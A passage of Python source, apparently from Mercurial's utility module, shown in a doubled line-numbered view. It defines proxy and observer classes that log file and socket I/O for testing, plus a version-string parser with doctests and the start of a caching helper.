618 def readinto(self, *args, **kwargs):
619 return object.__getattribute__(self, '_observedcall')(
619 return object.__getattribute__(self, '_observedcall')(
620 'readinto', *args, **kwargs
620 'readinto', *args, **kwargs
621 )
621 )
622
622
623 def write(self, *args, **kwargs):
623 def write(self, *args, **kwargs):
624 return object.__getattribute__(self, '_observedcall')(
624 return object.__getattribute__(self, '_observedcall')(
625 'write', *args, **kwargs
625 'write', *args, **kwargs
626 )
626 )
627
627
628 def detach(self, *args, **kwargs):
628 def detach(self, *args, **kwargs):
629 return object.__getattribute__(self, '_observedcall')(
629 return object.__getattribute__(self, '_observedcall')(
630 'detach', *args, **kwargs
630 'detach', *args, **kwargs
631 )
631 )
632
632
633 def read1(self, *args, **kwargs):
633 def read1(self, *args, **kwargs):
634 return object.__getattribute__(self, '_observedcall')(
634 return object.__getattribute__(self, '_observedcall')(
635 'read1', *args, **kwargs
635 'read1', *args, **kwargs
636 )
636 )
637
637
638
638
639 class observedbufferedinputpipe(bufferedinputpipe):
639 class observedbufferedinputpipe(bufferedinputpipe):
640 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
640 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
641
641
642 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
642 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
643 bypass ``fileobjectproxy``. Because of this, we need to make
643 bypass ``fileobjectproxy``. Because of this, we need to make
644 ``bufferedinputpipe`` aware of these operations.
644 ``bufferedinputpipe`` aware of these operations.
645
645
646 This variation of ``bufferedinputpipe`` can notify observers about
646 This variation of ``bufferedinputpipe`` can notify observers about
647 ``os.read()`` events. It also re-publishes other events, such as
647 ``os.read()`` events. It also re-publishes other events, such as
648 ``read()`` and ``readline()``.
648 ``read()`` and ``readline()``.
649 """
649 """
650
650
651 def _fillbuffer(self):
651 def _fillbuffer(self):
652 res = super(observedbufferedinputpipe, self)._fillbuffer()
652 res = super(observedbufferedinputpipe, self)._fillbuffer()
653
653
654 fn = getattr(self._input._observer, 'osread', None)
654 fn = getattr(self._input._observer, 'osread', None)
655 if fn:
655 if fn:
656 fn(res, _chunksize)
656 fn(res, _chunksize)
657
657
658 return res
658 return res
659
659
660 # We use different observer methods because the operation isn't
660 # We use different observer methods because the operation isn't
661 # performed on the actual file object but on us.
661 # performed on the actual file object but on us.
662 def read(self, size):
662 def read(self, size):
663 res = super(observedbufferedinputpipe, self).read(size)
663 res = super(observedbufferedinputpipe, self).read(size)
664
664
665 fn = getattr(self._input._observer, 'bufferedread', None)
665 fn = getattr(self._input._observer, 'bufferedread', None)
666 if fn:
666 if fn:
667 fn(res, size)
667 fn(res, size)
668
668
669 return res
669 return res
670
670
671 def readline(self, *args, **kwargs):
671 def readline(self, *args, **kwargs):
672 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
672 res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
673
673
674 fn = getattr(self._input._observer, 'bufferedreadline', None)
674 fn = getattr(self._input._observer, 'bufferedreadline', None)
675 if fn:
675 if fn:
676 fn(res)
676 fn(res)
677
677
678 return res
678 return res
679
679
680
680
681 PROXIED_SOCKET_METHODS = {
681 PROXIED_SOCKET_METHODS = {
682 'makefile',
682 'makefile',
683 'recv',
683 'recv',
684 'recvfrom',
684 'recvfrom',
685 'recvfrom_into',
685 'recvfrom_into',
686 'recv_into',
686 'recv_into',
687 'send',
687 'send',
688 'sendall',
688 'sendall',
689 'sendto',
689 'sendto',
690 'setblocking',
690 'setblocking',
691 'settimeout',
691 'settimeout',
692 'gettimeout',
692 'gettimeout',
693 'setsockopt',
693 'setsockopt',
694 }
694 }
695
695
696
696
697 class socketproxy(object):
697 class socketproxy(object):
698 """A proxy around a socket that tells a watcher when events occur.
698 """A proxy around a socket that tells a watcher when events occur.
699
699
700 This is like ``fileobjectproxy`` except for sockets.
700 This is like ``fileobjectproxy`` except for sockets.
701
701
702 This type is intended to only be used for testing purposes. Think hard
702 This type is intended to only be used for testing purposes. Think hard
703 before using it in important code.
703 before using it in important code.
704 """
704 """
705
705
706 __slots__ = (
706 __slots__ = (
707 '_orig',
707 '_orig',
708 '_observer',
708 '_observer',
709 )
709 )
710
710
711 def __init__(self, sock, observer):
711 def __init__(self, sock, observer):
712 object.__setattr__(self, '_orig', sock)
712 object.__setattr__(self, '_orig', sock)
713 object.__setattr__(self, '_observer', observer)
713 object.__setattr__(self, '_observer', observer)
714
714
715 def __getattribute__(self, name):
715 def __getattribute__(self, name):
716 if name in PROXIED_SOCKET_METHODS:
716 if name in PROXIED_SOCKET_METHODS:
717 return object.__getattribute__(self, name)
717 return object.__getattribute__(self, name)
718
718
719 return getattr(object.__getattribute__(self, '_orig'), name)
719 return getattr(object.__getattribute__(self, '_orig'), name)
720
720
721 def __delattr__(self, name):
721 def __delattr__(self, name):
722 return delattr(object.__getattribute__(self, '_orig'), name)
722 return delattr(object.__getattribute__(self, '_orig'), name)
723
723
724 def __setattr__(self, name, value):
724 def __setattr__(self, name, value):
725 return setattr(object.__getattribute__(self, '_orig'), name, value)
725 return setattr(object.__getattribute__(self, '_orig'), name, value)
726
726
727 def __nonzero__(self):
727 def __nonzero__(self):
728 return bool(object.__getattribute__(self, '_orig'))
728 return bool(object.__getattribute__(self, '_orig'))
729
729
730 __bool__ = __nonzero__
730 __bool__ = __nonzero__
731
731
732 def _observedcall(self, name, *args, **kwargs):
732 def _observedcall(self, name, *args, **kwargs):
733 # Call the original object.
733 # Call the original object.
734 orig = object.__getattribute__(self, '_orig')
734 orig = object.__getattribute__(self, '_orig')
735 res = getattr(orig, name)(*args, **kwargs)
735 res = getattr(orig, name)(*args, **kwargs)
736
736
737 # Call a method on the observer of the same name with arguments
737 # Call a method on the observer of the same name with arguments
738 # so it can react, log, etc.
738 # so it can react, log, etc.
739 observer = object.__getattribute__(self, '_observer')
739 observer = object.__getattribute__(self, '_observer')
740 fn = getattr(observer, name, None)
740 fn = getattr(observer, name, None)
741 if fn:
741 if fn:
742 fn(res, *args, **kwargs)
742 fn(res, *args, **kwargs)
743
743
744 return res
744 return res
745
745
746 def makefile(self, *args, **kwargs):
746 def makefile(self, *args, **kwargs):
747 res = object.__getattribute__(self, '_observedcall')(
747 res = object.__getattribute__(self, '_observedcall')(
748 'makefile', *args, **kwargs
748 'makefile', *args, **kwargs
749 )
749 )
750
750
751 # The file object may be used for I/O. So we turn it into a
751 # The file object may be used for I/O. So we turn it into a
752 # proxy using our observer.
752 # proxy using our observer.
753 observer = object.__getattribute__(self, '_observer')
753 observer = object.__getattribute__(self, '_observer')
754 return makeloggingfileobject(
754 return makeloggingfileobject(
755 observer.fh,
755 observer.fh,
756 res,
756 res,
757 observer.name,
757 observer.name,
758 reads=observer.reads,
758 reads=observer.reads,
759 writes=observer.writes,
759 writes=observer.writes,
760 logdata=observer.logdata,
760 logdata=observer.logdata,
761 logdataapis=observer.logdataapis,
761 logdataapis=observer.logdataapis,
762 )
762 )
763
763
764 def recv(self, *args, **kwargs):
764 def recv(self, *args, **kwargs):
765 return object.__getattribute__(self, '_observedcall')(
765 return object.__getattribute__(self, '_observedcall')(
766 'recv', *args, **kwargs
766 'recv', *args, **kwargs
767 )
767 )
768
768
769 def recvfrom(self, *args, **kwargs):
769 def recvfrom(self, *args, **kwargs):
770 return object.__getattribute__(self, '_observedcall')(
770 return object.__getattribute__(self, '_observedcall')(
771 'recvfrom', *args, **kwargs
771 'recvfrom', *args, **kwargs
772 )
772 )
773
773
774 def recvfrom_into(self, *args, **kwargs):
774 def recvfrom_into(self, *args, **kwargs):
775 return object.__getattribute__(self, '_observedcall')(
775 return object.__getattribute__(self, '_observedcall')(
776 'recvfrom_into', *args, **kwargs
776 'recvfrom_into', *args, **kwargs
777 )
777 )
778
778
779 def recv_into(self, *args, **kwargs):
779 def recv_into(self, *args, **kwargs):
780 return object.__getattribute__(self, '_observedcall')(
780 return object.__getattribute__(self, '_observedcall')(
781 'recv_info', *args, **kwargs
781 'recv_info', *args, **kwargs
782 )
782 )
783
783
784 def send(self, *args, **kwargs):
784 def send(self, *args, **kwargs):
785 return object.__getattribute__(self, '_observedcall')(
785 return object.__getattribute__(self, '_observedcall')(
786 'send', *args, **kwargs
786 'send', *args, **kwargs
787 )
787 )
788
788
789 def sendall(self, *args, **kwargs):
789 def sendall(self, *args, **kwargs):
790 return object.__getattribute__(self, '_observedcall')(
790 return object.__getattribute__(self, '_observedcall')(
791 'sendall', *args, **kwargs
791 'sendall', *args, **kwargs
792 )
792 )
793
793
794 def sendto(self, *args, **kwargs):
794 def sendto(self, *args, **kwargs):
795 return object.__getattribute__(self, '_observedcall')(
795 return object.__getattribute__(self, '_observedcall')(
796 'sendto', *args, **kwargs
796 'sendto', *args, **kwargs
797 )
797 )
798
798
799 def setblocking(self, *args, **kwargs):
799 def setblocking(self, *args, **kwargs):
800 return object.__getattribute__(self, '_observedcall')(
800 return object.__getattribute__(self, '_observedcall')(
801 'setblocking', *args, **kwargs
801 'setblocking', *args, **kwargs
802 )
802 )
803
803
804 def settimeout(self, *args, **kwargs):
804 def settimeout(self, *args, **kwargs):
805 return object.__getattribute__(self, '_observedcall')(
805 return object.__getattribute__(self, '_observedcall')(
806 'settimeout', *args, **kwargs
806 'settimeout', *args, **kwargs
807 )
807 )
808
808
809 def gettimeout(self, *args, **kwargs):
809 def gettimeout(self, *args, **kwargs):
810 return object.__getattribute__(self, '_observedcall')(
810 return object.__getattribute__(self, '_observedcall')(
811 'gettimeout', *args, **kwargs
811 'gettimeout', *args, **kwargs
812 )
812 )
813
813
814 def setsockopt(self, *args, **kwargs):
814 def setsockopt(self, *args, **kwargs):
815 return object.__getattribute__(self, '_observedcall')(
815 return object.__getattribute__(self, '_observedcall')(
816 'setsockopt', *args, **kwargs
816 'setsockopt', *args, **kwargs
817 )
817 )
818
818
819
819
820 class baseproxyobserver(object):
820 class baseproxyobserver(object):
821 def __init__(self, fh, name, logdata, logdataapis):
821 def __init__(self, fh, name, logdata, logdataapis):
822 self.fh = fh
822 self.fh = fh
823 self.name = name
823 self.name = name
824 self.logdata = logdata
824 self.logdata = logdata
825 self.logdataapis = logdataapis
825 self.logdataapis = logdataapis
826
826
827 def _writedata(self, data):
827 def _writedata(self, data):
828 if not self.logdata:
828 if not self.logdata:
829 if self.logdataapis:
829 if self.logdataapis:
830 self.fh.write(b'\n')
830 self.fh.write(b'\n')
831 self.fh.flush()
831 self.fh.flush()
832 return
832 return
833
833
834 # Simple case writes all data on a single line.
834 # Simple case writes all data on a single line.
835 if b'\n' not in data:
835 if b'\n' not in data:
836 if self.logdataapis:
836 if self.logdataapis:
837 self.fh.write(b': %s\n' % stringutil.escapestr(data))
837 self.fh.write(b': %s\n' % stringutil.escapestr(data))
838 else:
838 else:
839 self.fh.write(
839 self.fh.write(
840 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
840 b'%s> %s\n' % (self.name, stringutil.escapestr(data))
841 )
841 )
842 self.fh.flush()
842 self.fh.flush()
843 return
843 return
844
844
845 # Data with newlines is written to multiple lines.
845 # Data with newlines is written to multiple lines.
846 if self.logdataapis:
846 if self.logdataapis:
847 self.fh.write(b':\n')
847 self.fh.write(b':\n')
848
848
849 lines = data.splitlines(True)
849 lines = data.splitlines(True)
850 for line in lines:
850 for line in lines:
851 self.fh.write(
851 self.fh.write(
852 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
852 b'%s> %s\n' % (self.name, stringutil.escapestr(line))
853 )
853 )
854 self.fh.flush()
854 self.fh.flush()
855
855
856
856
857 class fileobjectobserver(baseproxyobserver):
857 class fileobjectobserver(baseproxyobserver):
858 """Logs file object activity."""
858 """Logs file object activity."""
859
859
860 def __init__(
860 def __init__(
861 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
861 self, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
862 ):
862 ):
863 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
863 super(fileobjectobserver, self).__init__(fh, name, logdata, logdataapis)
864 self.reads = reads
864 self.reads = reads
865 self.writes = writes
865 self.writes = writes
866
866
867 def read(self, res, size=-1):
867 def read(self, res, size=-1):
868 if not self.reads:
868 if not self.reads:
869 return
869 return
870 # Python 3 can return None from reads at EOF instead of empty strings.
870 # Python 3 can return None from reads at EOF instead of empty strings.
871 if res is None:
871 if res is None:
872 res = b''
872 res = b''
873
873
874 if size == -1 and res == b'':
874 if size == -1 and res == b'':
875 # Suppress pointless read(-1) calls that return
875 # Suppress pointless read(-1) calls that return
876 # nothing. These happen _a lot_ on Python 3, and there
876 # nothing. These happen _a lot_ on Python 3, and there
877 # doesn't seem to be a better workaround to have matching
877 # doesn't seem to be a better workaround to have matching
878 # Python 2 and 3 behavior. :(
878 # Python 2 and 3 behavior. :(
879 return
879 return
880
880
881 if self.logdataapis:
881 if self.logdataapis:
882 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
882 self.fh.write(b'%s> read(%d) -> %d' % (self.name, size, len(res)))
883
883
884 self._writedata(res)
884 self._writedata(res)
885
885
886 def readline(self, res, limit=-1):
886 def readline(self, res, limit=-1):
887 if not self.reads:
887 if not self.reads:
888 return
888 return
889
889
890 if self.logdataapis:
890 if self.logdataapis:
891 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
891 self.fh.write(b'%s> readline() -> %d' % (self.name, len(res)))
892
892
893 self._writedata(res)
893 self._writedata(res)
894
894
895 def readinto(self, res, dest):
895 def readinto(self, res, dest):
896 if not self.reads:
896 if not self.reads:
897 return
897 return
898
898
899 if self.logdataapis:
899 if self.logdataapis:
900 self.fh.write(
900 self.fh.write(
901 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
901 b'%s> readinto(%d) -> %r' % (self.name, len(dest), res)
902 )
902 )
903
903
904 data = dest[0:res] if res is not None else b''
904 data = dest[0:res] if res is not None else b''
905
905
906 # _writedata() uses "in" operator and is confused by memoryview because
906 # _writedata() uses "in" operator and is confused by memoryview because
907 # characters are ints on Python 3.
907 # characters are ints on Python 3.
908 if isinstance(data, memoryview):
908 if isinstance(data, memoryview):
909 data = data.tobytes()
909 data = data.tobytes()
910
910
911 self._writedata(data)
911 self._writedata(data)
912
912
913 def write(self, res, data):
913 def write(self, res, data):
914 if not self.writes:
914 if not self.writes:
915 return
915 return
916
916
917 # Python 2 returns None from some write() calls. Python 3 (reasonably)
917 # Python 2 returns None from some write() calls. Python 3 (reasonably)
918 # returns the integer bytes written.
918 # returns the integer bytes written.
919 if res is None and data:
919 if res is None and data:
920 res = len(data)
920 res = len(data)
921
921
922 if self.logdataapis:
922 if self.logdataapis:
923 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
923 self.fh.write(b'%s> write(%d) -> %r' % (self.name, len(data), res))
924
924
925 self._writedata(data)
925 self._writedata(data)
926
926
927 def flush(self, res):
927 def flush(self, res):
928 if not self.writes:
928 if not self.writes:
929 return
929 return
930
930
931 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
931 self.fh.write(b'%s> flush() -> %r\n' % (self.name, res))
932
932
933 # For observedbufferedinputpipe.
933 # For observedbufferedinputpipe.
934 def bufferedread(self, res, size):
934 def bufferedread(self, res, size):
935 if not self.reads:
935 if not self.reads:
936 return
936 return
937
937
938 if self.logdataapis:
938 if self.logdataapis:
939 self.fh.write(
939 self.fh.write(
940 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
940 b'%s> bufferedread(%d) -> %d' % (self.name, size, len(res))
941 )
941 )
942
942
943 self._writedata(res)
943 self._writedata(res)
944
944
945 def bufferedreadline(self, res):
945 def bufferedreadline(self, res):
946 if not self.reads:
946 if not self.reads:
947 return
947 return
948
948
949 if self.logdataapis:
949 if self.logdataapis:
950 self.fh.write(
950 self.fh.write(
951 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
951 b'%s> bufferedreadline() -> %d' % (self.name, len(res))
952 )
952 )
953
953
954 self._writedata(res)
954 self._writedata(res)
955
955
956
956
957 def makeloggingfileobject(
957 def makeloggingfileobject(
958 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
958 logh, fh, name, reads=True, writes=True, logdata=False, logdataapis=True
959 ):
959 ):
960 """Turn a file object into a logging file object."""
960 """Turn a file object into a logging file object."""
961
961
962 observer = fileobjectobserver(
962 observer = fileobjectobserver(
963 logh,
963 logh,
964 name,
964 name,
965 reads=reads,
965 reads=reads,
966 writes=writes,
966 writes=writes,
967 logdata=logdata,
967 logdata=logdata,
968 logdataapis=logdataapis,
968 logdataapis=logdataapis,
969 )
969 )
970 return fileobjectproxy(fh, observer)
970 return fileobjectproxy(fh, observer)
971
971
972
972
973 class socketobserver(baseproxyobserver):
973 class socketobserver(baseproxyobserver):
974 """Logs socket activity."""
974 """Logs socket activity."""
975
975
976 def __init__(
976 def __init__(
977 self,
977 self,
978 fh,
978 fh,
979 name,
979 name,
980 reads=True,
980 reads=True,
981 writes=True,
981 writes=True,
982 states=True,
982 states=True,
983 logdata=False,
983 logdata=False,
984 logdataapis=True,
984 logdataapis=True,
985 ):
985 ):
986 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
986 super(socketobserver, self).__init__(fh, name, logdata, logdataapis)
987 self.reads = reads
987 self.reads = reads
988 self.writes = writes
988 self.writes = writes
989 self.states = states
989 self.states = states
990
990
991 def makefile(self, res, mode=None, bufsize=None):
991 def makefile(self, res, mode=None, bufsize=None):
992 if not self.states:
992 if not self.states:
993 return
993 return
994
994
995 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
995 self.fh.write(b'%s> makefile(%r, %r)\n' % (self.name, mode, bufsize))
996
996
997 def recv(self, res, size, flags=0):
997 def recv(self, res, size, flags=0):
998 if not self.reads:
998 if not self.reads:
999 return
999 return
1000
1000
1001 if self.logdataapis:
1001 if self.logdataapis:
1002 self.fh.write(
1002 self.fh.write(
1003 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
1003 b'%s> recv(%d, %d) -> %d' % (self.name, size, flags, len(res))
1004 )
1004 )
1005 self._writedata(res)
1005 self._writedata(res)
1006
1006
1007 def recvfrom(self, res, size, flags=0):
1007 def recvfrom(self, res, size, flags=0):
1008 if not self.reads:
1008 if not self.reads:
1009 return
1009 return
1010
1010
1011 if self.logdataapis:
1011 if self.logdataapis:
1012 self.fh.write(
1012 self.fh.write(
1013 b'%s> recvfrom(%d, %d) -> %d'
1013 b'%s> recvfrom(%d, %d) -> %d'
1014 % (self.name, size, flags, len(res[0]))
1014 % (self.name, size, flags, len(res[0]))
1015 )
1015 )
1016
1016
1017 self._writedata(res[0])
1017 self._writedata(res[0])
1018
1018
1019 def recvfrom_into(self, res, buf, size, flags=0):
1019 def recvfrom_into(self, res, buf, size, flags=0):
1020 if not self.reads:
1020 if not self.reads:
1021 return
1021 return
1022
1022
1023 if self.logdataapis:
1023 if self.logdataapis:
1024 self.fh.write(
1024 self.fh.write(
1025 b'%s> recvfrom_into(%d, %d) -> %d'
1025 b'%s> recvfrom_into(%d, %d) -> %d'
1026 % (self.name, size, flags, res[0])
1026 % (self.name, size, flags, res[0])
1027 )
1027 )
1028
1028
1029 self._writedata(buf[0 : res[0]])
1029 self._writedata(buf[0 : res[0]])
1030
1030
1031 def recv_into(self, res, buf, size=0, flags=0):
1031 def recv_into(self, res, buf, size=0, flags=0):
1032 if not self.reads:
1032 if not self.reads:
1033 return
1033 return
1034
1034
1035 if self.logdataapis:
1035 if self.logdataapis:
1036 self.fh.write(
1036 self.fh.write(
1037 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1037 b'%s> recv_into(%d, %d) -> %d' % (self.name, size, flags, res)
1038 )
1038 )
1039
1039
1040 self._writedata(buf[0:res])
1040 self._writedata(buf[0:res])
1041
1041
1042 def send(self, res, data, flags=0):
1042 def send(self, res, data, flags=0):
1043 if not self.writes:
1043 if not self.writes:
1044 return
1044 return
1045
1045
1046 self.fh.write(
1046 self.fh.write(
1047 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1047 b'%s> send(%d, %d) -> %d' % (self.name, len(data), flags, len(res))
1048 )
1048 )
1049 self._writedata(data)
1049 self._writedata(data)
1050
1050
1051 def sendall(self, res, data, flags=0):
1051 def sendall(self, res, data, flags=0):
1052 if not self.writes:
1052 if not self.writes:
1053 return
1053 return
1054
1054
1055 if self.logdataapis:
1055 if self.logdataapis:
1056 # Returns None on success. So don't bother reporting return value.
1056 # Returns None on success. So don't bother reporting return value.
1057 self.fh.write(
1057 self.fh.write(
1058 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1058 b'%s> sendall(%d, %d)' % (self.name, len(data), flags)
1059 )
1059 )
1060
1060
1061 self._writedata(data)
1061 self._writedata(data)
1062
1062
1063 def sendto(self, res, data, flagsoraddress, address=None):
1063 def sendto(self, res, data, flagsoraddress, address=None):
1064 if not self.writes:
1064 if not self.writes:
1065 return
1065 return
1066
1066
1067 if address:
1067 if address:
1068 flags = flagsoraddress
1068 flags = flagsoraddress
1069 else:
1069 else:
1070 flags = 0
1070 flags = 0
1071
1071
1072 if self.logdataapis:
1072 if self.logdataapis:
1073 self.fh.write(
1073 self.fh.write(
1074 b'%s> sendto(%d, %d, %r) -> %d'
1074 b'%s> sendto(%d, %d, %r) -> %d'
1075 % (self.name, len(data), flags, address, res)
1075 % (self.name, len(data), flags, address, res)
1076 )
1076 )
1077
1077
1078 self._writedata(data)
1078 self._writedata(data)
1079
1079
1080 def setblocking(self, res, flag):
1080 def setblocking(self, res, flag):
1081 if not self.states:
1081 if not self.states:
1082 return
1082 return
1083
1083
1084 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1084 self.fh.write(b'%s> setblocking(%r)\n' % (self.name, flag))
1085
1085
1086 def settimeout(self, res, value):
1086 def settimeout(self, res, value):
1087 if not self.states:
1087 if not self.states:
1088 return
1088 return
1089
1089
1090 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1090 self.fh.write(b'%s> settimeout(%r)\n' % (self.name, value))
1091
1091
1092 def gettimeout(self, res):
1092 def gettimeout(self, res):
1093 if not self.states:
1093 if not self.states:
1094 return
1094 return
1095
1095
1096 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1096 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1097
1097
1098 def setsockopt(self, res, level, optname, value):
1098 def setsockopt(self, res, level, optname, value):
1099 if not self.states:
1099 if not self.states:
1100 return
1100 return
1101
1101
1102 self.fh.write(
1102 self.fh.write(
1103 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1103 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1104 % (self.name, level, optname, value, res)
1104 % (self.name, level, optname, value, res)
1105 )
1105 )
1106
1106
1107
1107
1108 def makeloggingsocket(
1108 def makeloggingsocket(
1109 logh,
1109 logh,
1110 fh,
1110 fh,
1111 name,
1111 name,
1112 reads=True,
1112 reads=True,
1113 writes=True,
1113 writes=True,
1114 states=True,
1114 states=True,
1115 logdata=False,
1115 logdata=False,
1116 logdataapis=True,
1116 logdataapis=True,
1117 ):
1117 ):
1118 """Turn a socket into a logging socket."""
1118 """Turn a socket into a logging socket."""
1119
1119
1120 observer = socketobserver(
1120 observer = socketobserver(
1121 logh,
1121 logh,
1122 name,
1122 name,
1123 reads=reads,
1123 reads=reads,
1124 writes=writes,
1124 writes=writes,
1125 states=states,
1125 states=states,
1126 logdata=logdata,
1126 logdata=logdata,
1127 logdataapis=logdataapis,
1127 logdataapis=logdataapis,
1128 )
1128 )
1129 return socketproxy(fh, observer)
1129 return socketproxy(fh, observer)
1130
1130
1131
1131
1132 def version():
1132 def version():
1133 """Return version information if available."""
1133 """Return version information if available."""
1134 try:
1134 try:
1135 from . import __version__
1135 from . import __version__
1136
1136
1137 return __version__.version
1137 return __version__.version
1138 except ImportError:
1138 except ImportError:
1139 return b'unknown'
1139 return b'unknown'
1140
1140
1141
1141
1142 def versiontuple(v=None, n=4):
1142 def versiontuple(v=None, n=4):
1143 """Parses a Mercurial version string into an N-tuple.
1143 """Parses a Mercurial version string into an N-tuple.
1144
1144
1145 The version string to be parsed is specified with the ``v`` argument.
1145 The version string to be parsed is specified with the ``v`` argument.
1146 If it isn't defined, the current Mercurial version string will be parsed.
1146 If it isn't defined, the current Mercurial version string will be parsed.
1147
1147
1148 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1148 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1149 returned values:
1149 returned values:
1150
1150
1151 >>> v = b'3.6.1+190-df9b73d2d444'
1151 >>> v = b'3.6.1+190-df9b73d2d444'
1152 >>> versiontuple(v, 2)
1152 >>> versiontuple(v, 2)
1153 (3, 6)
1153 (3, 6)
1154 >>> versiontuple(v, 3)
1154 >>> versiontuple(v, 3)
1155 (3, 6, 1)
1155 (3, 6, 1)
1156 >>> versiontuple(v, 4)
1156 >>> versiontuple(v, 4)
1157 (3, 6, 1, '190-df9b73d2d444')
1157 (3, 6, 1, '190-df9b73d2d444')
1158
1158
1159 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1159 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1160 (3, 6, 1, '190-df9b73d2d444+20151118')
1160 (3, 6, 1, '190-df9b73d2d444+20151118')
1161
1161
1162 >>> v = b'3.6'
1162 >>> v = b'3.6'
1163 >>> versiontuple(v, 2)
1163 >>> versiontuple(v, 2)
1164 (3, 6)
1164 (3, 6)
1165 >>> versiontuple(v, 3)
1165 >>> versiontuple(v, 3)
1166 (3, 6, None)
1166 (3, 6, None)
1167 >>> versiontuple(v, 4)
1167 >>> versiontuple(v, 4)
1168 (3, 6, None, None)
1168 (3, 6, None, None)
1169
1169
1170 >>> v = b'3.9-rc'
1170 >>> v = b'3.9-rc'
1171 >>> versiontuple(v, 2)
1171 >>> versiontuple(v, 2)
1172 (3, 9)
1172 (3, 9)
1173 >>> versiontuple(v, 3)
1173 >>> versiontuple(v, 3)
1174 (3, 9, None)
1174 (3, 9, None)
1175 >>> versiontuple(v, 4)
1175 >>> versiontuple(v, 4)
1176 (3, 9, None, 'rc')
1176 (3, 9, None, 'rc')
1177
1177
1178 >>> v = b'3.9-rc+2-02a8fea4289b'
1178 >>> v = b'3.9-rc+2-02a8fea4289b'
1179 >>> versiontuple(v, 2)
1179 >>> versiontuple(v, 2)
1180 (3, 9)
1180 (3, 9)
1181 >>> versiontuple(v, 3)
1181 >>> versiontuple(v, 3)
1182 (3, 9, None)
1182 (3, 9, None)
1183 >>> versiontuple(v, 4)
1183 >>> versiontuple(v, 4)
1184 (3, 9, None, 'rc+2-02a8fea4289b')
1184 (3, 9, None, 'rc+2-02a8fea4289b')
1185
1185
1186 >>> versiontuple(b'4.6rc0')
1186 >>> versiontuple(b'4.6rc0')
1187 (4, 6, None, 'rc0')
1187 (4, 6, None, 'rc0')
1188 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1188 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1189 (4, 6, None, 'rc0+12-425d55e54f98')
1189 (4, 6, None, 'rc0+12-425d55e54f98')
1190 >>> versiontuple(b'.1.2.3')
1190 >>> versiontuple(b'.1.2.3')
1191 (None, None, None, '.1.2.3')
1191 (None, None, None, '.1.2.3')
1192 >>> versiontuple(b'12.34..5')
1192 >>> versiontuple(b'12.34..5')
1193 (12, 34, None, '..5')
1193 (12, 34, None, '..5')
1194 >>> versiontuple(b'1.2.3.4.5.6')
1194 >>> versiontuple(b'1.2.3.4.5.6')
1195 (1, 2, 3, '.4.5.6')
1195 (1, 2, 3, '.4.5.6')
1196 """
1196 """
1197 if not v:
1197 if not v:
1198 v = version()
1198 v = version()
1199 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1199 m = remod.match(br'(\d+(?:\.\d+){,2})[+-]?(.*)', v)
1200 if not m:
1200 if not m:
1201 vparts, extra = b'', v
1201 vparts, extra = b'', v
1202 elif m.group(2):
1202 elif m.group(2):
1203 vparts, extra = m.groups()
1203 vparts, extra = m.groups()
1204 else:
1204 else:
1205 vparts, extra = m.group(1), None
1205 vparts, extra = m.group(1), None
1206
1206
1207 assert vparts is not None # help pytype
1207 assert vparts is not None # help pytype
1208
1208
1209 vints = []
1209 vints = []
1210 for i in vparts.split(b'.'):
1210 for i in vparts.split(b'.'):
1211 try:
1211 try:
1212 vints.append(int(i))
1212 vints.append(int(i))
1213 except ValueError:
1213 except ValueError:
1214 break
1214 break
1215 # (3, 6) -> (3, 6, None)
1215 # (3, 6) -> (3, 6, None)
1216 while len(vints) < 3:
1216 while len(vints) < 3:
1217 vints.append(None)
1217 vints.append(None)
1218
1218
1219 if n == 2:
1219 if n == 2:
1220 return (vints[0], vints[1])
1220 return (vints[0], vints[1])
1221 if n == 3:
1221 if n == 3:
1222 return (vints[0], vints[1], vints[2])
1222 return (vints[0], vints[1], vints[2])
1223 if n == 4:
1223 if n == 4:
1224 return (vints[0], vints[1], vints[2], extra)
1224 return (vints[0], vints[1], vints[2], extra)
1225
1225
1226
1226
1227 def cachefunc(func):
1227 def cachefunc(func):
1228 '''cache the result of function calls'''
1228 '''cache the result of function calls'''
1229 # XXX doesn't handle keywords args
1229 # XXX doesn't handle keywords args
1230 if func.__code__.co_argcount == 0:
1230 if func.__code__.co_argcount == 0:
1231 listcache = []
1231 listcache = []
1232
1232
1233 def f():
1233 def f():
1234 if len(listcache) == 0:
1234 if len(listcache) == 0:
1235 listcache.append(func())
1235 listcache.append(func())
1236 return listcache[0]
1236 return listcache[0]
1237
1237
1238 return f
1238 return f
1239 cache = {}
1239 cache = {}
1240 if func.__code__.co_argcount == 1:
